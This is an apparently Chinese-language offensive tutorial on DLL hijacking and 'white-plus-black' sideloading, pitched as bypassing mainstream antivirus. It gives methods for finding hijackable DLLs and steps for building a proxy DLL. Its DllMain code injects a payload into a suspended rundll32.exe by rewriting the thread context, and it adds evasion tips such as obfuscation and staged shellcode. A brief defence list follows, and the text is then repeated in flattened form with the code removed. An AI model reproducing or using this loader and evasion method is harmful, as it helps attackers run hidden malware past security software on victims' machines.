白加黑保姆教程通杀主流杀软
字数 1735 2025-08-03 16:48:44

DLL劫持与白加黑攻击技术详解

0x00 前言

DLL劫持是一种利用Windows系统DLL加载机制的安全漏洞进行攻击的技术,通过白名单程序加载恶意DLL实现代码执行。本文将从DLL基础知识、劫持原理、实现方法到实际案例进行全面解析。

0x01 DLL基础知识

DLL路径搜索顺序

Windows系统加载DLL时按以下顺序搜索:

  1. 程序所在目录
  2. 程序加载目录(SetCurrentDirectory设置)
  3. 系统目录(SYSTEM32)
  4. 16位系统目录(SYSTEM)
  5. Windows目录
  6. PATH环境变量中列出的目录

Known DLLs机制

Known DLLs注册表项(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)中的DLL在系统启动时就被加载到内核空间,多个进程共享,需要高权限才能修改。

DLL劫持类型

  1. 直接转发(Direct Forwarding)

    • 修改导出表,将函数入口指向另一个DLL的对应函数
    • 调用过程:程序调用DLL A的函数→系统重定向到DLL B的函数
  2. 即时调用(Delay Load and Call)

    • 劫持DLL函数内部jmp到原DLL函数地址
    • 实现原理不同但效果相同
  3. 延迟加载

    • 调用时使用LoadLibrary加载目标DLL
    • 使用GetProcAddress获取函数地址
    • 优点:按需加载,减少资源占用

DllMain入口函数

BOOL APIENTRY DllMain(
    HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
){
    switch(ul_reason_for_call){
        case DLL_PROCESS_ATTACH: // DLL被进程加载时执行
        case DLL_THREAD_ATTACH:  // 线程创建时调用
        case DLL_THREAD_DETACH:  // 线程结束时执行
        case DLL_PROCESS_DETACH: // DLL被卸载时执行
            if(lpvReserved != nullptr){
                break; // 进程终止时不清理
            }
            // 执行清理
            break;
    }
    return TRUE;
}

调用约定

  • APIENTRY宏定义为__stdcall(Windows API默认)
  • 常见调用约定:
    • cdecl: C/C++默认
    • stdcall: Windows API默认
    • fastcall
    • thiscall

0x02 DLL调试方法

  1. 创建DLL项目并导出函数
  2. 创建测试程序加载DLL:
    // 加载DLL
    HMODULE hModule = LoadLibrary("mydll.dll");
    // 获取函数地址
    FARPROC func = GetProcAddress(hModule, "MyFunction");
    // 调用函数
    func();
    
  3. 在DLL代码中设置断点调试

0x03 DLL静态与动态调用

静态调用特点

  • 编译时将DLL嵌入可执行文件
  • 运行时直接使用,无需加载
  • 示例:
    #pragma comment(lib, "mydll.lib")
    typedef int (*DLLFUNC)(int);
    DLLFUNC MyFunc = (DLLFUNC)GetProcAddress(hLib, "MyFunc");
    int result = MyFunc(123);
    

动态调用特点

  • 运行时加载,DLL不存在不会报错(除非主动检查)
  • 更灵活但需要处理加载和卸载

0x04 DLL劫持实现

寻找可劫持DLL的方法

  1. 孤独寻找法

    • 将exe单独移动,运行看报错缺少的DLL
    • 查看导入表排除系统DLL
  2. Procmon监控

    • 过滤条件:
      • 路径以.dll结尾
      • 排除系统目录
    • 分析程序动态加载的DLL
  3. 工具辅助

    • 使用ZeroEye等工具自动检测可劫持DLL
    • 下载地址:https://github.com/ImCoriander/ZeroEye/tree/ZeroEye

黑DLL制作步骤

  1. 使用AheadLib生成转发代码

    • 下载地址:https://github.com/strivexjun/AheadLib-x86-x64
    • 生成.asm和.cpp文件
  2. 编译处理

    "ml64路径" /Fo output.obj /c /Cp input.asm
    
    • 将.obj文件添加到项目
    • 解决可能的函数冲突(如替换pathstrippath和strcmpi)
  3. 注入代码示例

    BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved){
        if(ul_reason == DLL_PROCESS_ATTACH){
            char* mem = (char*)VirtualAlloc(0, payload_len, 0x3000u, 0x40u);
            memcpy(mem, payload, payload_len);
    
            PROCESS_INFORMATION pi;
            STARTUPINFOA si = {0};
            si.cb = sizeof(si);
    
            if(CreateProcessA(0, "rundll32.exe", 0,0,0,0x44u,0,0,&si,&pi)){
                CONTEXT ctx = {65539};
                GetThreadContext(pi.hThread, &ctx);
                LPVOID remoteMem = VirtualAllocEx(pi.hProcess,0,payload_len,0x1000u,0x40u);
                WriteProcessMemory(pi.hProcess, remoteMem, mem, payload_len, NULL);
                ctx.Rip = (DWORD_PTR)remoteMem;
                SetThreadContext(pi.hThread, &ctx);
                ResumeThread(pi.hThread);
                CloseHandle(pi.hThread);
                CloseHandle(pi.hProcess);
            }
            TerminateProcess(GetCurrentProcess(), 0);
        }
        return TRUE;
    }
    

注意事项

  1. DllMain限制:

    • 不能调用可能获取加载程序锁的函数
    • 避免使用Sleep、WaitForSingleObject等
    • CreateProcess/CreateThread有风险
  2. 保持程序正常运行:

    • 劫持后确保原程序功能不受影响
    • 可能需要处理多个依赖DLL
  3. 位数匹配:

    • 确保DLL与目标程序位数一致(x86/x64)

0x05 免杀技巧

  1. 使用rundll32.exe等白名单程序作为傀儡
  2. 内存操作避免直接文件写入
  3. 代码混淆和加密
  4. 分阶段加载shellcode
  5. 利用合法程序的正常行为掩盖恶意操作

0x06 防御措施

  1. 启用SafeDllSearchMode(默认开启)
  2. 设置KnownDLLs保护
  3. 使用签名验证DLL
  4. 监控异常DLL加载行为
  5. 限制程序目录写入权限

0x07 总结

DLL劫持是一种有效的绕过安全检测的技术,关键在于:

  • 准确识别可劫持的DLL
  • 正确处理函数转发保持程序功能
  • 遵守DllMain的限制避免崩溃
  • 结合免杀技术绕过安全软件

通过精心构造的恶意DLL和合法的白程序组合,可以实现高隐蔽性的持久化攻击。防御方需要从加载机制、行为监控等多层面进行防护。

DLL劫持与白加黑攻击技术详解 0x00 前言 DLL劫持是一种利用Windows系统DLL加载机制的安全漏洞进行攻击的技术,通过白名单程序加载恶意DLL实现代码执行。本文将从DLL基础知识、劫持原理、实现方法到实际案例进行全面解析。 0x01 DLL基础知识 DLL路径搜索顺序 Windows系统加载DLL时按以下顺序搜索: 程序所在目录 程序加载目录(SetCurrentDirectory设置) 系统目录(SYSTEM32) 16位系统目录(SYSTEM) Windows目录 PATH环境变量中列出的目录 Known DLLs机制 Known DLLs注册表项(HKEY_ LOCAL_ MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)中的DLL在系统启动时就被加载到内核空间,多个进程共享,需要高权限才能修改。 DLL劫持类型 直接转发(Direct Forwarding) 修改导出表,将函数入口指向另一个DLL的对应函数 调用过程:程序调用DLL A的函数→系统重定向到DLL B的函数 即时调用(Delay Load and Call) 劫持DLL函数内部jmp到原DLL函数地址 实现原理不同但效果相同 延迟加载 调用时使用LoadLibrary加载目标DLL 使用GetProcAddress获取函数地址 优点:按需加载,减少资源占用 DllMain入口函数 调用约定 APIENTRY 宏定义为 __stdcall (Windows API默认) 常见调用约定: cdecl: C/C++默认 stdcall: Windows API默认 fastcall thiscall 0x02 DLL调试方法 创建DLL项目并导出函数 创建测试程序加载DLL: 在DLL代码中设置断点调试 0x03 DLL静态与动态调用 静态调用特点 编译时将DLL嵌入可执行文件 运行时直接使用,无需加载 示例: 动态调用特点 运行时加载,DLL不存在不会报错(除非主动检查) 更灵活但需要处理加载和卸载 0x04 DLL劫持实现 寻找可劫持DLL的方法 孤独寻找法 将exe单独移动,运行看报错缺少的DLL 查看导入表排除系统DLL Procmon监控 过滤条件: 路径以.dll结尾 排除系统目录 分析程序动态加载的DLL 工具辅助 使用ZeroEye等工具自动检测可劫持DLL 下载地址:https://github.com/ImCoriander/ZeroEye/tree/ZeroEye 黑DLL制作步骤 使用AheadLib生成转发代码 下载地址:https://github.com/strivexjun/AheadLib-x86-x64 生成.asm和.cpp文件 编译处理 将.obj文件添加到项目 解决可能的函数冲突(如替换pathstrippath和strcmpi) 注入代码示例 注意事项 DllMain限制: 不能调用可能获取加载程序锁的函数 避免使用Sleep、WaitForSingleObject等 CreateProcess/CreateThread有风险 保持程序正常运行: 劫持后确保原程序功能不受影响 可能需要处理多个依赖DLL 位数匹配: 确保DLL与目标程序位数一致(x86/x64) 0x05 免杀技巧 使用rundll32.exe等白名单程序作为傀儡 内存操作避免直接文件写入 代码混淆和加密 分阶段加载shellcode 利用合法程序的正常行为掩盖恶意操作 0x06 防御措施 启用SafeDllSearchMode(默认开启) 设置KnownDLLs保护 使用签名验证DLL 监控异常DLL加载行为 限制程序目录写入权限 0x07 总结 DLL劫持是一种有效的绕过安全检测的技术,关键在于: 准确识别可劫持的DLL 正确处理函数转发保持程序功能 遵守DllMain的限制避免崩溃 结合免杀技术绕过安全软件 通过精心构造的恶意DLL和合法的白程序组合,可以实现高隐蔽性的持久化攻击。防御方需要从加载机制、行为监控等多层面进行防护。